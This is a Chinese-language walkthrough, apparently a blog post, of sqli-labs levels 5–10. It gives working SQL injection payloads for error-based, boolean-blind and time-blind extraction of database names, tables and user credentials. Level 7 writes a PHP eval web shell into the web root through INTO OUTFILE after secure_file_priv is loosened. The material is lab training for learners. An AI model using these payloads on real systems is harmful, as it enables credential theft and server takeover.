【sqli-labs】闯关记录5~10
【less-5】基于’'报错注入
1、测试流程
?id='
//从报错内容分析,应该是字符型注入
?id=1' and 1=1--+ //回显You are in...
?id=1' and 1=2--+ //回显为空
-- 经过多次尝试u,发现除了报错就是回显You are in...或者回显为空
//可以初步判断,是一个报错注入或者盲注
//于是尝试使用报错注入
- //使用updatexml()
?id=1' and updatexml(1,concat(0x7e,version()),4)--+
UPDATEXML (XML_document, XPath_string, new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。 (注入语句就在这里构造)
第三个参数:new_value,String格式,替换查找到的符合条件的数据
为什么要用concat()把0x7e连起来呢?
0x7e是~的十六进制表示,将他与version()连接起来是为了防止返回的信息被吃掉
成功爆出版本信息。
- //使用extractvalue()函数
extractvalue(XML_document, XPath_string)
与updatexml用法一样
?id=1' and extractvalue(1,concat(0x7e,database()))--+
//暴表名
?id=1' and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 1)))--+
//暴字段名
?id=1' and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 1)))--+
//暴字段值
?id=1' and extractvalue(1,concat(0x7e,(select concat_ws('~',username,password) from security.users limit 1)))--+
-
//使用floor()函数
先测试主查询的字段数:
用上面的方法用order by 测出为3
构造floor()语句:
?id=1' and 1=2 union select 1,count(*),concat_ws('~',version(),floor(rand()*2),user()) as a from users group by a--+
因为floor()函数报错是有一定的几率,所以需要多执行几次。
2、源码分析
<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);
// take the variables
if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
// connectivity
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo '<font size="5" color="#FFFF00">';
echo 'You are in...........';
echo "<br>";
echo "</font>";
}
else
{
echo '<font size="3" color="#FFFF00">';
print_r(mysql_error()); //动态输出点只有mysql报错输出
echo "</br></font>";
echo '<font color= "#0000ff" font size= 3>';
}
}
else { echo "Please input the ID as parameter with numeric value";}
?>
分析代码可得,动态的输出点只有mysql报错输出,所以可以利用报错注入,常用的报错注入函数有updatexml()、extractvalue()、floor()等。
【less-6】基于""报错注入
1、测试流程
?id=1 //回显you are in...
?id=' //回显失败
?id=\ //回显报错,判断出是基于"的字符型注入
经过多次尝试,发现回显只有三种情况:mysql报错、回显you are in…、回显为空
所以初步判断是报错注入
//使用updatexml()函数
暴版本号
?id=1" and updatexml(1,concat(0x7e,version()),3)--+
//使用extractvalue()函数
暴表名
?id=1" and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 1)))--+
//使用floor()函数
暴字段名
?id=1" and 1=2 union select 1,count(*),concat((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 1),0x7e,floor(rand()*2)) as a from users group by a--+
2、源码分析
与上一关比仅仅是闭合方式不同
【less-7】基于’))文件写入注入
尝试多次都失败了,看页面回显you are in… use outfile…,判断可能是一个写文件注入
漏洞利用的条件:
1、要测试出后端的闭合方式
2、找到闭合方式后,需要知道网站可以写的路径
对于这一关,要想解决上述两个条件比较困难,所以只能嘿嘿嘿
看一眼源码:
<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);
// take the variables
if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
// connectivity
$sql="SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1"; //闭合方式竟然是双括号,额贼。。。
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo '<font color= "#FFFF00">';
echo 'You are in.... Use outfile......';
echo "<br>";
echo "</font>";
}
else
{
echo '<font color= "#FFFF00">';
echo 'You have an error in your SQL syntax';
//print_r(mysql_error()); //nnd把sql报错都屏蔽了
echo "</font>";
}
}
else { echo "Please input the ID as parameter with numeric value";}
?>
从上述代码分析出,它是以’))方式闭合的,网站路径也知道D:\\phpstudy_pro\\www\\sqli_labs\\less-7,好了好了直接开干
尝试以下语句:
?id=1')) union select database(),user(),version() into outfile 'D:\\phpstudy_pro\\www\\sqli-labs\\less-7\\database.txt'--+
结果失败
换做命令行中尝试:
应该是mysql配置不允许写文件
上网查了资料之后:
要想实现mysql写文件到网站指定目录下,那就必须具备两个条件:1、网站对应目录要有写权限;2、mysql允许导入导出权限
mysql允许导入导出的权限,由参数secure_file_priv决定的。
secure-file-priv参数是用来限制LOAD DATA, SELECT … OUTFILE, and LOAD_FILE()传到哪个指定目录的。
查看mysql的secure-file-priv参数:show global variables like '%secure%';
当secure_file_priv的值为null ,表示限制mysqld 不允许导入/导出
当secure_file_priv的值为/tmp/ ,表示限制mysqld 的导入/导出只能发生在/tmp/目录下
当secure_file_priv的值没有具体值时(null值),表示不对mysqld 的导入/导出做限制
windows在my.ini中的mysqld下面加上secure_file_priv=" “即可。
linux在/ect/my.cnf下加入secure_file_priv=” "即可。如图所示,修改成功!
继续开搞:写入成功!
写个小马试试:
?id=1')) union select 1,2,'<?php @eval($_POST['X']);?>' into outfile 'D:\\phpstudy_pro\\www\\sqli-labs\\less-7\\muma.php'--+
用菜刀或蚁剑连接一下:
成功!
【less-8】基于’的布尔盲注
1、测试流程
?id=1' and 1=1--+ //回显you are in....
?id=1' and 1=2--+ //回显为空
//单引号和\测试回显皆为空
于是初步判断是一个布尔盲注。
?id=1' and ascii(substr(user(),1,1))=113--+ //回显为空
?id=1' and ascii(substr(user(),1,1))=114--+ //回显正常,说明用户名第一个字母为r
手工盲注步骤:
//猜解数据库名
//猜解数据库名,用ascii()函数将逐个字母转换为ascii码(a~z:97~122; A~Z:65~90),利用二分法逐个试出数据库名
?id=1' and ascii(substr(database(),1,1))=113--+
#########################################################################
//猜解表名
//猜解当前数据库表的数目
?id=1' and (select count(table_name) from information_schema.tables where table_schema=database())=4--+
//猜解第一个表名长度用length()函数,逐个去试
?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 1))=6--+
//猜解第一个表名,用ascii()函数转换再用二分法构造不等式和等式去比较
?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1),1,1))=101--+
//猜解其他表名需改动limit参数,然后逐个去试
###########################################################################
//猜解字段名
//首先猜解字段个数
?id=1' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='users')=3--+
//猜解第一个字段名长度
?id=1' and length((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 1))=2--+
//猜解第一个字段名
?id=1' and ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 1),1,1))=105--+
//猜解其他字段名与上述过程类似
##############################################################################
//猜解字段值
//首先猜解username字段的第一个值的长度
?id=1' and length((select username from security.users limit 1))=4--+
//猜解username字段的第一个字段值
?id=1' and ascii(substr((select username from security.users limit 1),1,1))=68--+
//猜解其他字段值过程与上述相似,更改limit参数值即可
2、源码分析
没有新的函数
【less-9】基于’的时间盲注
1、测试流程
初步测试,不管输入什么回显都是you are in…
使用if(),sleep()函数进行时间盲注
######################猜解数据库名########################################################
//猜解数据库名长度
?id=1' and if(length(database())=8,sleep(1),1)--+ //页面延迟1s
//猜解数据库名
?id=1' and if(ascii(substr(database(),1,1))=115,sleep(1),1)--+ //页面延迟1s,说明数据库名第一个字母为s
//更改substr()函数的参数,测出其他字母
#####################猜解表名##############################################################、
//猜解数据库中表的数目
//猜解表名长度
//猜解表名
####################猜解字段名#############################################################
//猜解表中字段的数目
//猜解字段的长度
//猜解字段名
####################猜解字段内容############################################################
//猜解字段值长度
//猜解字段值
测试步骤与上一关相似,只是根据回显是否有延时判断即可。
2、源码分析
与上一关没有什么大不同,只是将所有情况的回显改成了一种,所以要利用时间盲注。
【less-10】基于"的时间盲注
第十关与第9关的区别只是闭合方式的不同,第十关采用"闭合,还是基于时间的盲注,测试流程与上一关一样。